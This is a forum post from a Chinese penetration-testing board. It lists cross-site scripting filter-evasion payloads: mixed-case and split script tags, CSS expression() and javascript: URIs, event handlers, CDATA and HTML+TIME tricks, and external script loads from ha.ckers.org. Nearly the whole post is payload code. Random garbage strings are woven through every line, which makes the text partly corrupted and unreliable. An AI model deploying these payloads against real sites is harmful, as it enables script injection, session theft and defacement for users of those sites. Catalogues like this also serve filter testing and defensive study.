中国网络渗透测试联盟

标题: Cross Site Scripting(XSS)攻击手法介绍 [打印本页]

作者: admin    时间: 2012-12-31 09:59
标题: Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写
$ {( o! n! M: q' s& R& u/ S
! o9 F  b% O& n# R" b
. z  d1 a1 H. m( W8 [9 o% f
- ^6 n& r+ |0 p: Z    <sCript>alert(‘d’)</scRipT>7 }4 x% G6 b" _2 z

) d0 F: W& o0 D% z+ k5 S2. 利用多加一些其它字符来规避Regular Expression的检查: {. O1 V4 P. j0 r6 ?
+ b- K! h( Z, i: P- V9 k
    <<script>alert(‘c’)//<</script>' [! V3 i# q4 U! y9 ?: s: R1 b
/ H) G# s) f! W9 i% B
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
, N) I- H' q1 w: x9 p7 Z# j$ f1 Y
% K4 \9 Y1 |) K$ ?+ |/ b, T    <SCRIPT =">" SRC="t.js"></SCRIPT>0 B; q2 q- I1 c
  U, K7 f- G& b7 ^* y4 r9 X
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>. E- P4 D; U( I, ]0 i
2 N  Y' e0 W6 K7 r& y6 b/ K) |; H
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>+ D  G4 A$ X8 B4 }% w! o

. v3 z: i+ N9 q; K    <SCRIPT a=`>` SRC="t.js"></SCRIPT>: L" @& Q( F+ \
0 t+ @+ y/ r' ^1 u$ W
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT># D# o7 j- w! r2 f9 P! h

5 X% a" V" U. N# T/ Q3. 以其它扩展名取代.js( w# ?, f' y( T+ V3 T# z
! K# j4 Y: p' o
    <script src="bad.jpg"></script>, D, {+ Y5 c# L' }5 L
+ }: k0 k# V: g8 \/ ?0 B
4. 将Javascript写在CSS档里) ?* ?) H  j8 @& C: n
" s/ r  k' j" Z7 D- i
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
: |/ E' N2 k9 j. M/ i! V- T, x# y! `- |% W
       example:
6 e! ]9 a# M) X- \' F9 L/ R
* f1 ~7 H9 ]% J4 @/ g  `          body {0 P( G$ Q1 h( E0 m+ E* O& u, M
& {) n* e  N- y. b$ s
               background-image: url(‘javascript:alert("XSS");’)- x" Q) _1 e' `% E3 |

; N4 M! d4 u. q0 r6 ?1 c, _          }
/ `7 ^. `* d  c& P# m. K/ g% ?. u+ m9 |5 B1 [2 n, r7 l
5. 在script的tag里加入一些其它字符9 d% A6 }" G' }
% ~/ u% E6 Y9 r% L6 h: C
    <SCRIPT/SRC="t.js"></SCRIPT>9 u1 E$ x" @, R# P! p* G0 J

0 v0 U  I8 e3 c& T0 ~    <SCRIPT/anyword SRC="t.js"></SCRIPT>
' P9 O; A/ U/ Q+ y1 ^
, b: y$ E' r# D/ S* ?# O) w6. 使用tab或是new line来规避" Z( V. f$ e1 {
. B- S) W; g* ~: L
    <img src="jav ascr ipt:alert(‘XSS3′)">2 u% N& t9 C5 G; o8 @0 f5 ~2 H6 j
, l; m# r. G: [9 [( {* L
    <img src="jav ascr ipt:alert(‘XSS3′)">! j. \. M9 ^( }! L, A' J% j

% H* `  m% v2 Y" l" |5 c6 X    <IMG SRC="jav ascript:alert(‘XSS’);">% |; ], d# b: U
/ B/ i& _2 e6 ^( @; ]* s
         -> tag1 z9 e) R0 @6 P4 g9 c

5 O4 ]! Y0 Z7 c8 p" X+ s         -> new line, a& E9 F6 G: m0 V- [; d
/ `3 j* R- V" v7 r
7. 使用"\"来规避
3 w* G$ A! b& a6 F! L
' X/ H% z1 `- b- P. {9 M& z6 f    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
* ^5 F0 K3 W- o! _( S+ a7 r7 z9 [$ m3 g/ y2 G" w, B
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>  `5 C8 O) q3 l) g3 m" Q+ K
* G. v$ M7 I7 j% J, O& R" _6 R
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">) w: N) Z" ~6 T  Y/ I0 z
- Z% {& u% _. g: E/ m
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
% j" A" k) c' j0 |9 t* S( j% ]
1 G, p! d, i% K) z/ F    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>" A4 _7 a# l% H4 x

: t) J& v& G1 g9 _8. 使用Hex encode来规避(也可能会把";"拿掉)+ V5 A% ]# A5 ?, I* K

" X6 R2 t& e8 `+ g. P    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
& K! R% M9 O; k7 U* R$ i+ J; J( K1 H3 w- E
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">& M$ V) J$ i# r/ p" ]* P
0 T1 i/ ?" a5 l, i' N1 B# u8 S
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">' o! p+ d6 v6 N' H* m4 y# V) M
+ H* A6 I- y$ V) b0 ^3 t
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
% T! F* a  `8 H+ {1 W: \5 f0 L6 i8 ]  I6 N% a7 T
9. script in HTML tag3 K9 g5 I7 S: w! b% R# T. q
! Z, Z6 E3 O2 x* _/ |
    <body onload=」alert(‘onload’)」>% G: B* X' f; G8 j
" p4 s! u3 S4 H3 Q$ z8 Z. H  o/ X) J
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
4 h% i7 @' g( f% P: {6 ?9 S3 T+ E! y# G" n/ Y, A
10. 在swf里含有xss的code
6 e4 ]: T$ k8 \
" Z7 R5 z# C. y" U1 N* u$ h1 n    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
0 H1 x& P! r! o  w7 u& W6 L) m( x! ?7 g# A+ l
11. 利用CDATA将xss的code拆开,再组合起来。$ I7 K2 ]4 G2 k) v! O3 s# ]
* U& ?7 [- J$ U$ p  S2 n. ?; _
    <XML ID=I><X><C>  z- Y8 C, m& I: u$ R
5 I5 W9 V4 z& N
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
4 S. P9 o$ d+ j6 `0 h$ Y* g7 x, h4 S
    </C></X>* r: K& _1 W, r- Z/ r# ^- Q: v
* R, R; e! g1 ^0 V0 D* a. W3 x
    </xml>
# ?8 v8 x* q% Y) k; u& I* M' U; k1 h$ t; S" U) X- Y  i6 w: @3 _* M( g
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>; ~" k7 m8 P3 g% Y2 W

2 `7 b6 ^: q  t9 b    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
- w5 D% B9 z+ G1 `8 P) R6 }4 Q3 H  G5 M0 ]) z5 R* k
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>+ V; q2 }3 R! S$ x1 e; l
' @) U3 b. {0 d! C
12. 利用HTML+TIME。4 C4 C# q% e2 ]& [! S  b2 p2 ~
3 A+ {2 H8 p1 X  ^7 ^3 U' j4 ]
    <HTML><BODY>
0 E, k# |! s. V3 O' c7 z  S% L
- i4 {( u, W( G' s2 z2 Q    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">1 [3 e! X2 M+ k
; Q8 O8 }3 a7 y' u: v
    <?import namespace="t" implementation="#default#time2">4 }, z7 \" C' H
8 j2 r. N! s: c" X
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
0 i7 @* |) S9 ^4 h$ t* p! x1 r( J3 H3 @; D' ]' T
    </BODY></HTML>
; b2 N$ q6 z" E0 W) V
$ R7 t8 l0 X) G: `0 B13. 透过META写入Cookie。* k& s% F- A+ q1 r4 I2 Y. i

# `3 s8 H3 _/ X5 P    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">; g) [9 `$ W0 V: }

5 f* d5 D; `2 C) f8 U7 s# p5 ~14. javascript in src , href , url
4 i. q$ ?$ D, i2 o. q. ?' k5 N) C/ O3 g# z2 I
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
. V  p5 J" ~9 f5 T2 a& C, [' m5 S- x% l$ M  O( o7 g6 Q: V
    <img src="javascript:alert(‘XSS3′)">
8 [8 R9 B- e. E( M8 t9 N9 S3 i7 `6 Z6 c, s, N; Y
<IMG DYNSRC="javascript:alert(‘XSS20′)">6 _' v) F9 _$ x5 l6 V2 c0 k1 S( g

2 N* ]& Q$ B( i5 o& D1 c$ O    <IMG LOWSRC="javascript:alert(‘XSS21′)">3 }. F- @' ]7 g6 v
1 v+ D. i6 H8 x' O
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">" Z3 M4 B# L& P0 x7 u; C
- e; v& Y! S" U; E& \6 L
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>: ]8 Z, L4 n# c; l% i0 M# Z

& x- _' H; t/ {9 j- h! A* F( M    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
$ Q* v4 R% p* g$ e6 K  Y
1 e( o7 K, [; s. D: q$ J: E, X    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
# A0 P- w6 ?$ g& D5 \0 J7 k' V* v& x' ~+ ^9 ]
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}9 r$ X* Q. k- q! @( Z; w

6 ~' B# S. s& H    </STYLE><A CLASS=XSS></A>: C$ \6 O% Q" X/ T
1 m! N0 T: b9 o4 U/ T& I, A% ]# T
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
2 f' J$ v$ G; a1 r
# x9 W8 b: T, |4 B1 A




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2